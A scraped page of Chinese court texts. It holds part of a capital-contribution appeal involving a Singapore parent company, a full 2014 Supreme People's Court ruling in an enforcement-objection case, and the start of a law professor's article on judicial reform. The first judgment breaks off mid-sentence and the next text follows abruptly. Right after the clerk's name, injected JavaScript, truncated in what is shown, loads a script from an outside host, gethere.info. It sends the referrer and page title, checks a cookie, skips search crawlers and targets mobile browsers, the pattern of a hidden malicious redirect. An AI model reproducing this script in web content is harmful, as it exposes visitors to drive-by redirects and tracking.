300元,此后环保科技公司未再缴纳。2010年8月18日,大拇指公司向福州中院提起另案诉讼,要求环保科技公司先行支付增资款4900万元,该案判决生效后,环保科技公司于2011年10月31日支付了49 395 110.4元,至此,环保科技公司实际缴付的出资额为 234 616 431.4元,仍欠缴增资款 45 383 568.6元。据此,请求判令环保科技公司履行股东出资义务,缴付增资款4500万元。福州中院受理后,环保科技公司提出管辖权异议,福州中院裁定驳回其异议,环保科技公司不服,提起上诉,福建高院作出 (2013)闽民终字第357号民事裁定,本案由该院管辖。 福建高院经审理查明: 大拇指公司于2004年经福建省人民政府商外资字0009号文件批准,取得了《中华人民共和国外商投资企业批准证书》,企业类型为外国法人独资的有限责任公司。该公司自成立始,公司的名称、住所、法定代表人、股东名称、投资总额与注册资本等进行了数次变更。2005年9月起至今,该公司股东为环保科技公司。2012年12月18日,大拇指公司的法定代表人变更登记为洪臻。 2008年6月30日,福建省对外贸易经济合作厅作出闽外经贸资251号《关于大拇指环保科技集团(福建)有限公司增加投资的批复》,同意大拇指公司投资总额由2.3亿元增至5亿元,注册资本由 1.3亿元增至3.8亿元,增资部分应按公司修订章程规定的期限到资,并核准了大拇指公司就上述变更事项签订的《补充章程》。《补充章程》就增资款及缴纳时间载明:增资部分全部由环保科技公司以等值外汇现金投入,首期缴付不低于20%的新增注册资本,余额在变更营业执照签发之日起两年内缴清。 2008年7月16日,环保科技公司向大拇指公司缴纳了首期增资款50 560 381元;2009年5月19日,环保科技公司向大拇指公司缴纳了第二期增资款4 660 940元,至此,大拇指公司实收注册资本为 185 221 300元。2010年8月18日,大拇指公司向福州中院提起另案诉讼,请求判令环保科技公司先行支付增资款4900万元,福州中院判决支持了大拇指公司的诉讼请求,环保科技公司不服提起上诉后,福建高院于2011年8月31日作出(2011)闽民终字第446号(以下简称446号案)民事判决,驳回上诉,维持原判。环保科技公司于2011年10月31日按照生效判决支付了增资款49 395 110.4元。大拇指公司于 2012年3月12日办理了营业执照变更登记,变更后,大拇指公司的注册资本为3.8亿元,实收资本234 616 431.4元。至2013年7月25日,环保科技公司对大拇指公司尚有145 383 568.6元的出资款未到位。 2012年5月31日,福州中院根据大拇指公司的申请,作出(2012)榕民初字第 252-1号民事裁定,对环保科技公司的银行存款4500万元进行了保全。2013年11月22日,福建高院应大拇指公司的请求,作出(2013)闽民初字第43-1号民事裁定,继续保全环保科技公司名下总价值不超过 4500万元的财产。 该院另查明: 环保科技公司于2001年在新加坡注册成立,公司类别为有限股份上市公司。 2010年6月4日,新加坡高等法院作出法庭命令,应环保科技公司的申请,裁定环保科技公司进入司法管理程序,委任Se- shadri Raiogpalan先生和余明缘(Ee Meng Yen Angela)女士为环保科技公司的共同及个别司法管理人,主管公司的日常事务、业务及财产,以便对公司进行整顿或者保留其全部或部分业务以便公司可持续经营,及(或)取得比解散企业更有利的企业资产变现等。 2012年3月1日,新加坡高等法院作出法庭命令,根据环保科技公司的司法管理人Seshadri Raiogpalan和余明缘的申请,裁定将2010年6月4日作出的司法管理命令延期至2012年5月2日,批准Se- shadri Rajogpalan和余明缘辞任环保科技公司的司法管理人之职,并委任Hamish Alexander Christie自本命令之日起担任环保科技公司的司法管理人,其中包含了继续进行由前司法管理人在原诉传票中提起的任何诉讼或法律程序等。 环保科技公司在446号案提供的新加坡腾福律师事务所对新加坡公司法所规定的司法管理制度的《法律意见》表明:1.新加坡公司法所规定的司法管理程序系有关人士向新加坡高等法院提出申请以将一家公司置于司法管理程序。设计司法管理制度的目的是为了使那些无法按时偿还到期债务的公司获得一定的喘息空间,以便其在该制度的监管下获得一定的机会以重新恢复其财务实力或者更好地实现其资产的价值,而不是直接被置于清盘情形。2.如果新加坡高等法院认为公司确实已经或者将要无法偿还到期债务,且发布有关法庭命令将有机会使得如下三个目的中的一个或者多个得到实现,那么高等法院会针对有关公司发布司法管理命令,使公司存续,或者使公司的部分或全部业务持续经营;根据新加坡公司法而许可有关公司与其债权人达成妥协方案;或与清盘相比较,有关公司资产的价值能够得到更好地实现。3.当法庭发布司法管理的命令且在该命令持续有效的期间,不得通过决议或者命令的方式使得公司进行清盘。 2012年5月16日,环保科技公司向福州中院起诉大拇指公司、田垣、陈斌和潘成土与公司有关的纠纷,提出了确认环保科技公司任免大拇指公司董事、监事、法定代表人的决议合法有效等诉讼请求。福州中院就该案已于2013年9月17日作出 (2012)榕民初字第268号(以下简称268号案)一审判决:一、确认环保科技公司于 2012年3月30日作出的《书面决议》和《任免书》有效;二、大拇指公司应于判决生效之日起十日内办理法定代表人、董事长、董事的变更登记和备案手续,将大拇指公司的法定代表人、董事长变更为保国武 (Cosimo Borrelli),董事变更为保国武、徐丽雯、宋宽;三、驳回环保科技公司的其他诉讼请求。 2013年5月7日,环保科技公司向福州市鼓楼区人民法院(以下简称鼓楼区法院)起诉福建省工商行政管理局和大拇指公司,请求撤销大拇指公司法定代表人由田垣变更为洪臻的行为及相关行政登记,案号为(2013)鼓行初字第167号(以下简称167号案)。鼓楼区法院于2014年3月 20日裁定中止诉讼,理由是该案需以 (2012)榕民初字第268号案的审理结果为依据。 2013年6月26日,环保科技公司向福州中院起诉孙江榕、洪臻,请求判令两人就擅自将大拇指公司法定代表人由田垣变更为洪臻等行为停止侵权、赔礼道歉、消除影响和赔偿损失,案号为(2013)榕民初字第753号(以下简称753号案)。 2012年11月28日和2013年7月10日,保国武以环保科技公司法定代表人名义分别向福建省工商行政管理局、福州市鼓楼区对外贸易经济合作局递交《关于大拇指环保科技集团(福建)有限公司减资事宜的申请》。 2013年12月5日,环保科技公司向鼓楼区法院起诉福州市鼓楼区对外贸易经济合作局不履行行政批准法定职责,该案已由鼓楼区法院受理。 福建高院认为: 本案是股东出资纠纷,环保科技公司是在新加坡注册成立的外国法人,故本案为涉外民商事案件。本案纠纷发生地在福州市,根据最高人民法院《关于涉外民商事案件诉讼管辖若干问题的规定》第一条第五项、第三条第一项的规定及福建高院《关于全省法院涉外民商事案件诉讼管辖若干问题的规定》,该院对本案有管辖权。关于本案的法律适用,主要涉及两个方面,一是环保科技公司的民事权利能力及民事行为能力事项,环保科技公司系在新加坡登记的法人,根据《中华人民共和国涉外民事关系法律适用法》第十四条第一款“法人及其分支机构的民事权利能力、民事行为能力、组织机构、股东权利义务等事项,适用登记地法律”的规定,应适用新加坡法律;二是大拇指公司系在中国注册的外商独资企业,属于中国法人,环保科技公司作为大拇指公司的唯一股东,对大拇指公司行使包含出资在内的相关权利义务应适用中国法律。 一、关于大拇指公司起诉的意思表示是否真实的问题 大拇指公司系中国法人,其起诉状及其委托律师参加诉讼的授权委托书均加盖了该公司的公章,环保科技公司对大拇指公司公章的真实性没有提出异议,仅以环保科技公司作为唯一股东已经就大拇指公司包括法定代表人、董事在内的管理层进行更换,新任的大拇指公司“法定代表人”向法庭作出撤诉的意思表示,因大拇指公司实际控制人拒不交出公章,导致新“法定代表人”无法就撤诉申请盖章等为由,否定大拇指公司提起本案诉讼的意思表示。该院认为,在适用中国法律的前提下,工商登记的信息具有公示公信的效力。认定大拇指公司的法定代表人仍应以工商登记为准,在无证据证明保国武被登记为大拇指公司的法定代表人前,其代表大拇指公司作出撤诉的意思表示不具有法律效力,故不予认可。大拇指公司提起诉讼的目的在于请求其唯一股东履行增资所确定的出资义务,环保科技公司不予主动履行,反而向有关部门提出减资申请,以抵销大拇指公司的请求,环保科技公司与大拇指公司显然存在利益冲突。在此情况下,大拇指公司起诉主张权利,起诉状及授权委托书盖有公司公章,并不违反中国法律规定,亦不能就此否认大拇指公司提起本案诉讼系真实意思。因此,环保科技公司关于大拇指公司起诉没有法律效力的抗辩主张不成立,不予采纳。 二、关于本案是否违反“一事不再理”原则的问题 2008年6月30日福建省对外贸易经济合作厅闽外经贸资251号批复对大拇指公司增资的申请予以核准后,增资财产权利归属于大拇指公司。在没有证据显示大拇指公司未就增资款项全额、一次性提出请求将损害该公司及其债权人利益的情况下,大拇指公司作为独立法人,有独立的民事权利能力,有权在可增资范围内合法、善意地主张民事权利,自主决定诉讼金额。大拇指公司虽于2010年8月18日起诉提出4900万元的出资请求,且经生效的民事判决支持该诉讼请求,但其在本案另行提起的4500万元的出资请求,据以起诉的事实基础即未到位的增资款数额已经改变,并且4900万元的诉讼请求与本案 4500万元的诉讼请求,分属于上述批复项下的增资款的不同组成部分,前者不能替代或涵盖后者。因此,本案大拇指公司的起诉不违反“一事不再理”原则。 三、关于本案是否应中止审理的问题 环保科技公司主张本案应中止诉讼,主要理由是本案的审理需要以前述268号案、167号案、753号案的审理结果为依据,环保科技公司还主张本案审理应等待环保科技公司通过大拇指公司名义申请减资的结果。一审庭审后,环保科技公司补充提交了其起诉福州市鼓楼区对外贸易经济合作局不履行行政批准法定职责,请求行政机关立即履行大拇指公司减资行政初审法定职责的诉讼资料作为证据,坚持主张本案诉讼应中止。该院认为,环保科技公司在上述四个案件中的诉讼请求,前三案请求指向的是大拇指公司董事、监事、法定代表人委派、变更登记及是否有侵权行为等事项,与环保科技公司的减资请求无直接、实质的关联;第四个案件是环保科技公司起诉减资审批机关不作为的行政诉讼,请求是责令行政机关立即履行减资的行政初审法定职责,并非要求行政机关履行减资审批手续。即使环保科技公司的诉讼请求获得支持,行政机关履行的也只是初审的法定职责,并不必然引起大拇指公司减资申请得以核准的结果。换言之,大拇指公司的减资申请仍需行政机关依法审查后决定是否核准。目前,在没有证据显示行政机关已经就大拇指公司减资事项作出有效核准的情况下,福建省对外贸易经济合作厅于2008年6月30日作出的闽外经贸资251号批复仍具有法律效力,应以此作为定案的依据。因此,环保科技公司提出的四个诉讼案件,其结果如何并不当然影响本案环保科技公司的出资义务,亦不影响本案出资纠纷的审理。本案的审理也无须等待环保科技公司通过大拇指公司名义申请减资的结果。本案不具有《中华人民共和国民事诉讼法》第一百五十条规定的中止诉讼的情形,对环保科技公司中止本案诉讼的抗辩主张不予支持。 四、关于本案的出资责任问题 环保科技公司系新加坡法人,在中国境内设立外商独资企业大拇指公司,其作为股东对大拇指公司的出资应适用中国法律。大拇指公司于2008年经报外商投资企业审批机关福建省对外贸易经济合作厅批准增资,增资的程序合法有效,环保科技公司应遵守中国法律按时、足额履行对大拇指公司的出资义务。根据查明的事实,环保科技公司对大拇指公司尚有 145 383 568.6元的出资款未到位。环保科技公司未履行股东足额缴纳出资的法定义务,侵害了大拇指公司的法人财产权,大拇指公司有权要求环保科技公司履行出资义务,补足出资。就环保科技公司出资不足金额,大拇指公司在本案中仅主张环保科技公司缴纳4500万元,并不违反法律规定,应予支持。 综上,该院依照《中华人民共和国公司法》第二十八条第一款、第一百七十九条第一款、第二百一十八条,《中华人民共和国外资企业法》第四条第二款,《中华人民共和国外资企业法实施细则》第二十二条及最高人民法院《关于适用〈中华人民共和国公司法〉若干问题的规定(三)》第十三条第一款之规定,判决:环保科技公司应于判决生效之日起十日内向大拇指公司缴纳出资款4500万元。一审案件受理费266 800元、财产保全费5000元由环保科技公司负担。 环保科技公司不服原审判决,向本院提起上诉称:一、保国武为大拇指公司合法的现任董事长。大拇指公司的起诉状和授权委托书是无权人员盗用公司公章而为,未经合法的法定代表人同意,不能代表大拇指公司的真实意思,起诉无效。保国武签署的撤诉申请是大拇指公司的真实意思,应予准许。二、本案处理需要以其他案件的审理结果和减资申请的结果为依据,故本案应当中止审理,在查明相关事实后再恢复审理。三、大拇指公司再次请求环保科技公司履行出资义务,此次起诉构成重复起诉,违反了“一事不再理”原则,应当驳回其起诉。四、因孙江榕等大拇指公司的实际控制人恶意阻挠,导致减资申请未获准许,但减资是环保科技公司的真实意思,大拇指公司作为环保科技公司的全资子公司应服从母公司的减资决议,其阻挠行为侵犯了中国公司法赋予股东的相关权利。故请求撤销原判,驳回大拇指公司的起诉或准许保国武代表大拇指公司撤回起诉;如不能支持前述请求,则中止审理本案或驳回大拇指公司的全部诉讼请求。 大拇指公司答辩称:一、工商登记载明的大拇指公司法定代表人洪臻有权代表大拇指公司提起本案诉讼。按照中国现行法律规定,大拇指公司新任的法定代表人须经合法登记后,方可行使法定代表人职权,环保科技公司司法管理人任命的所谓法定代表人保国武未依法进行变更登记,故不能行使法定代表人职权,亦无权申请撤诉。二、大拇指公司在环保科技公司前次出资之后,根据经营需要与公司章程,再行要求环保科技公司履行出资义务,不违反法律规定,故本案诉讼不违反“一事不再理”原则。三、环保科技公司提出的中止诉讼的理由不能成立,本案不应中止审理,反而应尽快审理以保护大拇指公司的合法财产权。四、环保科技公司的减资申请应履行相应的核准程序,在未获得核准前,环保科技公司仍应履行其法定的出资义务。故请求驳回上诉,维持原判。 二审庭审中,本案双方当事人对原审查明的事实明确表示没有异议,本院予以确认。 本院另查明:2011年1月20日,环保科技公司的司法管理人作出书面决议,将大拇指公司的法定代表人田垣变更为何昱均(Ho Yuk ...

孙昌明与江苏威特集团有限公司、盐城经济开发区祥欣农村小额贷款有限公司案外人执行异议纠纷案

一、执行过程中,案外人对执行标的提出的书面异议被驳回后,应当根据其权利主张与原判决、裁定之间的关系,依法选择通过审判监督程序或者执行异议之诉维护其合法权益。 二、执行异议之诉是对案外人权利保护提供的司法救济途径,针对的是执行行为本身,核心在于以案外人是否对执行标的具有足以阻却执行程序的正当权利为前提,就执行程序应当继续还是应该停止做出评价和判断。如案外人权利主张所指向的民事权利义务关系或者其诉讼请求所指向的标的物,与原判决、裁定确定的民事权利义务关系或者该权利义务关系的客体具有同一性,执行标的就是作为执行依据的生效裁判确定的权利义务关系的特定客体,其则属于“认为原判决、裁定错误”的情形,应依照审判监督程序办理。 最 高 人 民 法 院 民事裁定书 (2013)民提字第207号 再审申请人(一审原告、二审上诉人):孙昌明。 委托代理人:徐玉林,江苏因果律师事务所律师。 被申请人(一审被告、二审被上诉人):江苏威特集团有限公司。 法定代表人:路云龙,该公司董事长。 委托代理人:徐扬,该公司总经理。 被申请人(一审被告、二审被上诉人):盐城经济开发区祥欣农村小额贷款有限公司。 法定代表人:周纯祥,该公司董事长。 委托代理人:段俊茹,北京市中洲律师事务所律师。 委托代理人:周胜,北京市中洲律师事务所律师。 再审申请人孙昌明因与被申请人江苏威特集团有限公司(以下简称威特公司)、盐城经济开发区祥欣农村小额贷款有限公司(以下简称祥欣公司)案外人执行异议纠纷一案,不服江苏省高级人民法院于2012年11月20日作出的(2012)苏民终字第 0160号民事判决,向本院申请再审。本院于2013年6月21日作出(2013)民申字第 313号民事裁定,提审本案并中止原判决执行。本院依法组成合议庭,于2013年11月14日开庭审理了本案。孙昌明及其委托代理人徐玉林,威特公司的委托代理人徐扬,祥欣公司的委托代理人段俊茹、周胜到庭参加诉讼。本案现已审理终结。 江苏省盐城市中级人民法院(以下简称盐城中院)一审审理查明:2007年6月5日,威特公司向中国建设银行盐城市城北支行(以下简称建行城北支行)借款,将江苏省盐城市开放大道28号综合楼5110.24平方米房屋抵押给建行城北支行,该行于 2009年12月4日办理了上述房产抵押注销手续。同日,威特公司向祥欣公司借款 400万元,以江苏省盐城市开放大道28号 363.51平方米房产作价530万元设定最高额抵押,双方签订了《最高额抵押合同》并办理了他项权证。房屋坐落:江苏省盐城市开放大道28号综合楼底层及二层局部(1- 5轴),他项权证登记时间为2009年12月 4日。 1998年9月15日,威特公司与盐城市望海建筑工程有限公司(以下简称望海公司)签订建设施工合同,将威特公司综合楼发包给望海公司承建,望海公司又将工程转包给孙昌明,孙昌明为工程实际施工人。2009年10月20日,威特公司与孙昌明签订协议书,确认欠孙昌明工程款405万元,并以其自有的坐落在江苏省盐城市开放大道28号的威特集团综合楼一楼展示大厅两大间(8-10轴)房屋(建筑面积 103.85平方米×2)抵冲工程款3 738 600元,余款另行结算。2010年10月26日,江苏省盐城市亭湖区人民法院(以下简称亭湖法院)作出(2010)亭商初字第0476号民事判决,确认孙昌明与威特公司于2009年 10月20日签订的协议合法有效。 在祥欣公司申请执行威特公司、威特摩擦材料有限公司(以下简称威特材料公司)、盐城威特制动工业科技有限公司(以下简称威特制动公司)、江苏天行健建设有限公司借款合同纠纷一案中,盐城中院依据该院(2010)盐商初字第0018、0019、 0020号民事判决对上述公司强制执行,在对威特公司登记的抵押财产采取强制执行措施时,孙昌明提出执行异议。盐城中院于 2011年4月25日作出(2011)盐执异字第 0004号民事裁定,认为孙昌明虽然就案涉房屋与威特公司签订了以房抵债的协议,但双方未能办理过户登记手续,孙昌明主张已经取得案涉房屋所有权的异议理由,不能成立,遂裁定驳回孙昌明的执行异议。孙昌明不服,向盐城中院提起案外人执行异议之诉。 孙昌明提起诉讼称,2009年10月 20日协议书签订后,威特公司将案涉房屋交付给孙昌明。祥欣公司与威特公司、威特材料公司、威特制动公司之间的借款和抵押行为发生在孙昌明合法取得并实际占有案涉房屋之后。威特公司无权将案涉房屋对外设定抵押。祥欣公司的许可经营范围是面向“三农”发放小额贷款。祥欣公司向威特公司及关联企业发放1500万元贷款的行为,违反了金融法律法规的强制性规定,借款主合同应无效,作为从合同的担保合同也无效。祥欣公司明知威特公司已将案涉房屋转让给孙昌明冲抵工程款,因此威特公司和祥欣公司就案涉房屋设定抵押是恶意行为。威特公司将案涉房屋转让给孙昌明后,未及时办理过户手续,是威特公司不履行合同义务、违反法律规定造成的,其法律后果应由威特公司及相关单位承担。故请求:1.确认坐落在江苏省盐城市亭湖区开放大道28号威特集团综合楼一楼展示大厅8-10轴两间房屋的所有权归孙昌明所有(价值3 738 600元);2.判令威特公司继续履行双方签订的协议;3.判令威特公司、祥欣公司协助孙昌明办理房屋过户手续;4.中止对本案争议房屋的执行。5.诉讼费用由威特公司、祥欣公司承担。 威特公司、祥欣公司答辩称,1.孙昌明不享有原告主体资格。2.2009年10月20日之前,案涉房屋一直抵押给建行城北支行,即使威特公司欠付孙昌明工程款,但其出卖已经设定抵押房产的行为损害了抵押权人的利益,应为无效。3.盐城中院(2010)盐商初字第0018、0019、0020号民事判决均确认祥欣公司的合法经营权,其与威特公司的借款合同合法有效,祥欣公司要求威特公司提供抵押担保,亦不违反法律规定。4.即使威特公司欠付孙昌明工程款,由于案涉房屋已经抵押给了祥欣公司,也应先满足祥欣公司的执行要求。孙昌明的请求缺乏事实依据和法律依据,应予驳回。 一审法院认为,一、关于孙昌明作为本案原告提起诉讼是否适格的问题。2009年 10月20日,威特公司与孙昌明签订协议,将案涉房屋转让给孙昌明以冲抵工程款。孙昌明与本案具有直接利害关系,孙昌明的起诉符合《中华人民共和国民事诉讼法》 (以下简称《民事诉讼法》)的规定,其应具有原告诉讼主体资格。二、关于孙昌明作为实际施工人对案涉房屋是否享有优先受偿权的问题。建设工程承包人行使优先权的期限为六个月,自建设工程竣工之日或者建设工程合同约定的竣工之日起计算。本案工程于1999年10月竣工,根据上述规定,孙昌明对案涉房屋的优先受偿权超过了保护期限。三、关于祥欣公司向威特公司发放贷款是否符合法律规定的问题。生效判决对此已经作出认定,孙昌明认为祥欣公司发放贷款行为违法的主张,不予采纳。四、关于孙昌明对案涉房屋是否具有所有权的问题。《中华人民共和国物权法》(以下简称《物权法》)第一百九十一条第二款规定,抵押期间,抵押人未经抵押权人同意,不得转让抵押财产,但受让人代为清偿债务消灭抵押权的除外。2007年6月5日,威特公司因向建行城北支行借款,将本案涉及的综合楼5110.24平方米房屋抵押给建行城北支行,该行于2009年12月4日办理了上述房产抵押注销手续。同日,威特公司又将案涉房屋抵押给祥欣公司。2009年10月20日,威特公司与孙昌明签订协议,将案涉房屋转让给孙昌明以冲抵孙昌明的工程款。以上事实证明,案涉房屋上设有抵押权,威特公司与孙昌明签订协议的时间在案涉房屋抵押期间内,违反了《物权法》的规定,孙昌明不能取得案涉房屋的所有权。虽然亭湖法院判决确认孙昌明与威特公司于2009年10月20日签订的协议合法有效,但由于当事人双方未能办理房屋过户手续,案涉房屋的所有权并未发生变动,故孙昌明要求确认房屋所有权的主张没有法律依据,对孙昌明要求威特公司继续履行以房抵债合同并协助办理过户手续的请求,不予支持。五、关于本案是否中止执行的问题。中止执行属于执行程序解决的问题,本案不予理涉。该院经审判委员会讨论决定,作出(2011)盐民初字第0036号民事判决:驳回孙昌明的诉讼请求。一审案件受理费11 186元,由孙昌明负担。 孙昌明不服一审判决,向江苏省高级人民法院提起上诉。 孙昌明上诉称,1.孙昌明与威特公司关于案涉房屋的买卖协议已被法院生效文书确认为有效,应当认定孙昌明对于案涉房屋具有所有权。2.孙昌明是案涉房屋的实际施工人,在催要工程款的过程中一直在向威特公司主张工程款优先受偿权,威特公司也是基于此,同意以房抵债,该事实发生在祥欣公司出借款项之前。祥欣公司属于跨区经营,威特公司与祥欣公司之间的借贷关系违反法律法规,双方的借款合同为无效合同。3.根据最高人民法院《关于人民法院民事执行中查封、扣押、冻结财产的规定》第十七条的规定,案涉房屋虽然没有办理过户登记,但孙昌明没有过错,故法院不应对案涉房屋采取执行措施。故请求二审法院改判支持孙昌明的诉讼请求。 威特公司答辩称,1.孙昌明并未取得案涉房屋的所有权,其主张案涉房屋所有权不能成立。2.祥欣公司取得案涉房屋的抵押权,无任何过错。3.孙昌明不享有工程款的优先受偿权,与威特公司形成建设工程施工合同关系的是望海公司,并非孙昌明个人,且孙昌明主张权利已超过六个月的期间。故请求二审法院驳回孙昌明的上诉请求。 祥欣公司答辩称,1.法院判决确认孙昌明与威特公司的协议有效,但并未确认案涉房屋的所有权归孙昌明所有。2.关于是否中止执行的问题,不应该在本案中理涉。3.孙昌明主张工程款优先受偿权,超过了权利行使期限。故请求二审法院驳回上诉,维持原判。 二审法院查明的案件事实与一审法院查明的案件事实相同。 二审法院认为,本案为案外人执行异议之诉,威特公司与祥欣公司签订了借款合同,威特公司以案涉房屋作为抵押,在威特公司不能偿还借款时,祥欣公司向法院申请执行案涉房屋,而孙昌明认为其对案涉房屋享有权利,向法院提出执行异议。由于孙昌明的执行异议被法院裁定驳回,故孙昌明提起本案诉讼,主张其对案涉房屋享有所有权。孙昌明与威特公司就案涉房屋达成了以房抵债的协议,该协议系当事人真实意思表示,不违反法律、法规的禁止性规定,且被法院生效判决认定有效,但双方之间仍系债权债务关系。由于案涉房屋上设有抵押权,故孙昌明一直未能办理产权变更手续,现案涉房屋产权仍登记在威特公司名下,孙昌明并未取得所有权,对于孙昌明的该项上诉理由,不予支持。 关于孙昌明提出的威特公司与祥欣公司之间的借款合同无效的上诉理由,由于双方之间的借款纠纷,已经人民法院生效判决予以确认,孙昌明关于双方的借款合同无效的主张,没有法律依据。 关于孙昌明主张其对案涉房屋享有优先受偿权的问题,其主张威特公司欠付其工程款,故以案涉房屋抵债。虽然合同法规定承包人对于涉案工程折价、拍卖的价款可以优先受偿,但法律亦规定了优先权的行使期间,孙昌明未在法定期间提出该项主张,故盐城中院对此未予采纳并无不当。 关于孙昌明主张本案应中止执行的问题。由于本案系执行异议之诉,在本案中审查的是孙昌明对于执行标的物即案涉房屋是否享有权利的问题,对于执行程序中存在的问题,本案不能理涉,故对于孙昌明的该项主张,盐城中院未予理涉亦无不当。 综上,二审法院作出(2012)苏民终字第0160号民事判决:驳回上诉,维持原判。二审案件受理费11 186元,由孙昌明负担。 孙昌明不服二审判决,根据《民事诉讼法》第二百条第二项、第六项之规定向本院申请再审,请求撤销二审判决,依法支持其全部诉讼请求。理由为:1.威特公司已将案涉房屋交付孙昌明以冲抵工程款,孙昌明一直占有使用至今,其应当取得案涉房屋的所有权。 2.祥欣公司向威特公司发放贷款的行为,超出了其经营范围,并且属于跨区经营。祥欣公司作为专业的贷款公司,在向威特公司及其关联公司发放贷款、设定抵押的过程中,存在着疏于审查的情况,明知或应当知道案涉房屋属于孙昌明所有,或者至少应当知道案涉房屋权属存在争议,仍然办理抵押登记,主观上存在过错。 3.本案一审判决与亭湖法院、盐城中院有关判决存在同案不同判的情况。 威特公司答辩称,1.威特公司将案涉房屋向孙昌明抵冲工程款和抵押给祥欣公司都是真实意思表示,抵冲工程款在先,设定抵押在后是基本事实。2.祥欣公司和盐城中院在执行过程中存在过错。3.祥欣公司与威特公司之间关联案件一共有四件,债务合计1800万元,但已经执行了2772万元,故祥欣公司的债权已经得到全部实现。4.孙昌明系案涉工程实际施工人,其合法权益应予保护,应该确认其对案涉房屋的所有权。 祥欣公司答辩称,1.孙昌明提起的是案外人异议之诉,但其第2、3项诉讼请求以及再审申请所提祥欣公司与威特公司之间的借款合同、抵押合同无效等,不属于本案审理范围。2.孙昌明对案涉房屋不享有所有权。3.孙昌明对案涉房屋不享有优先受偿权,即使其为实际施工人并对案涉房屋享有优先受偿权,该权利也已经超过法定行使期间。4.祥欣公司已经依法取得抵押权。孙昌明的再审申请缺乏事实和法律依据,应予驳回。 本院再审查明:2010年8月26日,盐城中院分别作出(2010)盐商初字第0018、 0019、0020号民事判决。三份判决均确定,债务人未按判决确定的数额和时间偿还款项,祥欣公司有权就威特公司登记的抵押物折价或者以拍卖、变卖该财产的价款在该款项范围内享有优先受偿权。 本院认为,《民事诉讼法》第二百二十七条规定,执行过程中,案外人对执行标的提出书面异议的,人民法院应当自收到书面异议之日起十五日内审查,理由成立的,裁定中止对该标的的执行;理由不成立的,裁定驳回。案外人、当事人对裁定不服,认为原判决、裁定错误的,依照审判监督程序办理;与原判决、裁定无关的,可以自裁定送达之日起十五日内向人民法院提起诉讼。根据该规定,执行过程中,案外人对执行标的提出的书面异议被驳回后,应当根据其权利主张与原判决、裁定之间的关系,依法选择通过审判监督程序或者执行异议之诉维护其合法权益。作为法律对执行程序启动后,就案外人权利保护提供的司法救济途径,执行异议之诉针对的是执行行为本身。其核心在于以案外人是否对执行标的具有足以阻却执行程序的正当权利为前提,就执行程序应当继续还是应该停止做出评价和判断。但如案外人权利主张所指向的民事权利义务关系或者其诉讼请求所指向的标的物,与原判决、裁定确定的民事权利义务关系或者该权利义务关系的客体具有同一性,执行标的就是作为执行依据的生效裁判确定的权利义务关系的特定客体,则属于“认为原判决、裁定错误”的情形。本案中,孙昌明在其对执行标的提出的书面异议被裁定驳回后,向一审法院提起案外人执行异议之诉,一审、二审法院亦以此为案由对本案进行了实体审理。但是,盐城中院对包括案涉房产在内的登记在威特公司名下且已经为祥欣公司办理抵押登记的财产采取的执行措施,有该院业已发生法律效力的相关民事判决作为依据,而该生效民事判决确认祥欣公司享有抵押权并有权优先受偿的财产范围亦包括案涉房产。孙昌明在诉讼理由中也明确就祥欣公司与威特公司之间贷款行为以及其抵押权的效力问题提出异议,其所提诉讼请求意在否定盐城中院前述生效民事判决作为执行依据的合法性,在此情况下,本案应当属于《民事诉讼法》第二百二十七条有关“案外人、当事人对裁定不服,认为原判决、裁定错误的,依照审判监督程序处理”的规定情形,孙昌明通过案外人执行异议之诉解决本案争议,没有法律依据。在本案诉讼中,不能解决生效裁判是否存在错误的问题。一审、二审法院在本案中对相关争议进行实体审理,不符合法律规定,本院予以纠正。 综上所述,一审、二审判决适用法律错误。本院依据《中华人民共和国民事诉讼法》第二百零七条第一款、第一百七十条第一款第二项、第二百二十七条之规定,裁定如下: 一、撤销江苏省高级人民法院(2012)苏民终字第0160号民事判决、江苏省盐城市中级人民法院(2011)盐民初字第0036号民事判决; 二、驳回孙昌明的起诉。 本裁定为终审裁定。 审 判 长 韩 玫 审 判 员 辛正郁 代理审判员 司 伟 二0一四年五月三十日 书 记 员 唐 倩s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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完善中国特色司法审判制度的重大步骤

四川大学法学院教授 顾培东 本文原载《人民法院报》2015年9月23日第2版 新中国成立以来,特别是上世纪70年代末法治建设恢复以来,中国特色司法审判制度一直处于探索之中。正因为如此,对于人民法院而言,这一轮司法改革,不仅面临着解决实践中突出矛盾和主要问题的现实任务,更承载着推进中国特色司法审判制度基本定型并趋于完善的历史使命。《关于完善人民法院司法责任制的若干意见》(下称《若干意见》)的出台,在型塑和完善中国特色司法审判制度方面迈出了重要一步。虽然《若干意见》以法院司法责任制为主题,但基于司法责任制在审判运行全局中的核心地位和作用,因而其内容实际涵盖了人民法院审判运行的方方面面及整个过程,由此也奠定了中国特色司法审判制度的基本架构,描绘出中国特色司法审判制度的基本图景。本文试从以下几个方面理解和把握《若干意见》的主要精神和内在机理: 一、以权力重心下移为取向重塑人民法院内部审判权力格局 